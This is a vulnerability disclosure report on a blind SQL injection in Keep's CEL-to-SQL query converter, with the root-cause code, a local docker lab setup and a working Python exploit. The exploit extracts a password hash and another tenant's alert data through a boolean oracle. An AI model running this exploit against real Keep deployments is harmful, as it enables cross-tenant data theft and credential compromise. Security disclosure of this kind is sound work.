Keep Vulnerability Report
Software: Keep
Developer or vendor: Keephq
Code repository: https://github.com/keephq/keep
1. Boolean-Based Blind SQL Injection in CEL Queries
| Brief description: | An account with read:alert permission can inject SQL through the JSON subscript of a CEL query. |
|---|---|
| Affected versions: | 0.34.10 to 0.54.3 |
| Preconditions: | The attacker has an account with read:alert permission, and at least one alert exists. |
Root Cause
The alert query endpoint /alerts/query accepts CEL expressions. CEL’s bracket syntax accesses JSON fields, and the string inside the brackets becomes part of the property path. The converter appends this string to the property path directly:
# keep/api/core/cel_to_sql/cel_ast_converter.py:278-288 commit e5cd8698c8
def member_index(self, tree: lark.Tree) -> None:
right = self.stack.pop()
left = self.stack.pop()
if isinstance(right, ConstantNode):
right = right.value
prop_access_node: PropertyAccessNode = left
new_property_access_node = PropertyAccessNode(
path=prop_access_node.path + [str(right)]
)
self.stack.append(new_property_access_node)
self.member_access_stack.append(new_property_access_node)
The alert field mapping contains a wildcard entry, so any field not explicitly declared in the mapping falls into the two JSON columns alert.event and alertenrichment.enrichments:
# keep/api/core/alerts.py:151-160 commit e5cd8698c8
FieldMappingConfiguration(
map_from_pattern="*",
map_to=[
"JSON(alertenrichment.enrichments).*",
"JSON(alert.event).*",
],
data_type=DataType.STRING,
),
When generating the JSON extraction expression, the SQL providers put the path segment directly into a single-quoted string without escaping. The SQLite implementation is:
# keep/api/core/cel_to_sql/sql_providers/sqlite.py:16-18 commit e5cd8698c8
def json_extract_as_text(self, column: str, path: list[str]) -> str:
property_path_str = ".".join([f'"{item}"' for item in path])
return f"json_extract({column}, '$.{property_path_str}')"
The PostgreSQL and MySQL implementations are at keep/api/core/cel_to_sql/sql_providers/postgresql.py:22 and keep/api/core/cel_to_sql/sql_providers/mysql.py:57, and they likewise do not escape the path.
The single quote inside the brackets therefore closes the JSON path string, and the rest becomes SQL. For the alertenrichment.enrichments column, the payload labels["x') OR (1=1) OR ('"] produces this expression on SQLite:
json_extract(alertenrichment.enrichments, '$."labels"."x') OR (1=1) OR ('"')
Replacing 1=1 with any subquery yields a usable injection point.
/incidents?cel= uses the same converter and the same read:alert check, so that entry point is exploitable as well.
Reproduction Environment
The lab uses the official 0.54.3 backend image with SQLite and DB authentication. Create docker-compose.yml:
name: keep-vuln
services:
keep-backend:
image: us-central1-docker.pkg.dev/keephq/keep/keep-api:0.54.3
ports:
- "19611:8080"
environment:
- AUTH_TYPE=DB
- KEEP_JWT_SECRET=reportsecret123
- KEEP_DEFAULT_USERNAME=admin@lab.local
- KEEP_DEFAULT_PASSWORD=Admin12345.
- SECRET_MANAGER_TYPE=FILE
- SECRET_MANAGER_DIRECTORY=/state
- DATABASE_CONNECTION_STRING=sqlite:////state/db.sqlite3?check_same_thread=False
volumes:
- ./state:/state
Start the backend:
mkdir -p state
docker compose up -d
The backend listens on http://127.0.0.1:19611. After startup, create an administrator and a read-only account, and write some alert data:
import time
import httpx
import jwt
BASE = "http://127.0.0.1:19611"
SECRET = "reportsecret123"
admin = httpx.post(
BASE + "/signin",
json={"username": "admin@lab.local", "password": "Admin12345."},
).json()["accessToken"]
headers = {"Authorization": f"Bearer {admin}"}
httpx.post(
BASE + "/auth/users",
headers=headers,
json={
"email": "noc@lab.local",
"name": "noc",
"password": "Noc12345.",
"role": "noc",
},
)
victim = jwt.encode(
{"tenant_id": "victim-tenant", "email": "victim@lab.local", "role": "admin"},
SECRET,
algorithm="HS256",
)
httpx.post(
BASE + "/alerts/event",
headers={"Authorization": f"Bearer {victim}"},
json={
"name": "victim-secret-alert",
"status": "firing",
"severity": "critical",
"message": "tenant-victim-confidential",
},
)
httpx.post(
BASE + "/alerts/event",
headers=headers,
json={
"name": "attacker-alert",
"status": "firing",
"severity": "info",
"message": "attacker-normal",
},
)
time.sleep(3)
Reproduction
Log in as noc@lab.local and send CEL queries to /alerts/query. The script is:
import string
import httpx
BASE = "http://127.0.0.1:19611"
def login(username, password):
r = httpx.post(
BASE + "/signin",
json={"username": username, "password": password},
timeout=30,
)
r.raise_for_status()
return {"Authorization": f"Bearer {r.json()['accessToken']}"}
attacker = login("noc@lab.local", "Noc12345.")
print("attacker tenant:", httpx.get(BASE + "/whoami", headers=attacker).json()["tenant_id"])
def oracle(sql):
cel = "labels[\"x') OR (" + sql + ") OR ('\"]"
r = httpx.post(
BASE + "/alerts/query",
headers=attacker,
json={"cel": cel, "limit": 1, "offset": 0},
timeout=30,
)
r.raise_for_status()
return r.json()["count"] > 0
def extract(column, table, length, where=""):
alphabet = "$./_-" + string.ascii_letters + string.digits
out = ""
for i in range(1, length + 1):
for ch in alphabet:
sql = (
f"(SELECT substr({column},{i},1) FROM {table}"
f" {where} LIMIT 1)='{ch}'"
)
if oracle(sql):
out += ch
break
else:
out += "?"
return out
print(
"victim tenant has alerts:",
oracle("SELECT count(*) FROM lastalert WHERE tenant_id='victim-tenant'"),
)
print(
"nonexistent tenant has alerts:",
oracle("SELECT count(*) FROM lastalert WHERE tenant_id='does-not-exist'"),
)
print("password hash:", extract("password_hash", "user", 16))
print(
"victim message:",
extract(
"json_extract(event,'$.message')",
"alert",
len("tenant-victim-confidential"),
"WHERE tenant_id='victim-tenant'",
),
)
The output is:
attacker tenant: keep
victim tenant has alerts: True
nonexistent tenant has alerts: False
password hash: f99bc9050b3f95d8
victim message: tenant-victim-confidential